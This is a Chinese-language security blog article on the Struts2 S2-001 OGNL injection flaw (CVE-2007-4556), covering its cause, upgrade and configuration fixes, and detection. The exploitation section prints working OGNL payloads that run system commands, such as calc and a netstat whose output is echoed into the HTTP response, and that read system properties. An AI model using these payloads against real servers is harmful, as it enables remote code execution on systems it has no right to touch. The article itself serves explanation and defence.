插件窝 干货文章 struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

漏洞 Struts2 表达式 表单 469    来源:    2025-04-25

Struts2 S2-001漏洞实例分析

漏洞概述

S2-001是Struts2框架中的一个远程代码执行漏洞,编号为CVE-2007-4556。该漏洞存在于Struts2的OGNL表达式处理机制中,允许攻击者通过精心构造的恶意OGNL表达式在服务器端执行任意代码。

漏洞原理

Struts2框架在处理表单提交时,如果表单验证失败,会将用户提交的参数值重新填充到表单中。在这个过程中,Struts2会对参数值进行OGNL表达式解析,但没有对用户输入进行充分过滤,导致OGNL表达式注入。

漏洞复现环境

  • Struts2版本:2.0.0 - 2.0.11
  • 示例应用:部署一个简单的Struts2表单应用

漏洞利用示例

1. 正常表单提交

<form action="login.action" method="post">
    <input type="text" name="username" value="admin"/>
    <input type="password" name="password" value="123456"/>
    <input type="submit" value="Submit"/>
</form>

2. 恶意利用方式

通过在表单字段中注入OGNL表达式:

<input type="text" name="username" value="%{#a=@java.lang.Runtime@getRuntime().exec('calc')}"/>

当表单验证失败时,Struts2会重新渲染表单并解析这个OGNL表达式,导致命令执行。

3. 其他利用方式

  • 获取系统属性:

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    
  • 执行系统命令:

    %{#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

漏洞修复方案

1. 升级Struts2版本

官方在Struts2 2.0.12版本中修复了此漏洞,建议升级到最新稳定版本。

2. 临时缓解措施

如果无法立即升级,可以采取以下措施:

  1. 在web.xml中添加过滤器,过滤包含%{${等特殊字符的请求
  2. 禁用动态方法调用,在struts.xml中配置: xml <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
  3. 限制OGNL表达式解析深度: xml <constant name="struts.ognl.expressionMaxLength" value="100"/>

3. 安全编码实践

  • 对所有用户输入进行严格的验证和过滤
  • 避免在视图中直接使用用户提供的参数值
  • 使用Struts2的安全标签库处理输出

漏洞检测方法

  1. 手工检测:向目标系统提交包含OGNL表达式的参数,观察响应
  2. 工具检测:使用Struts2漏洞扫描工具如Struts2-Scan等
  3. 代码审计:检查项目中使用的Struts2版本及配置

总结

S2-001漏洞展示了Struts2框架早期版本在OGNL表达式处理上的安全隐患。作为开发人员,应当及时关注框架安全更新,遵循安全编码规范,并对用户输入保持高度警惕。对于系统管理员,定期进行安全扫描和漏洞评估也是必要的安全实践。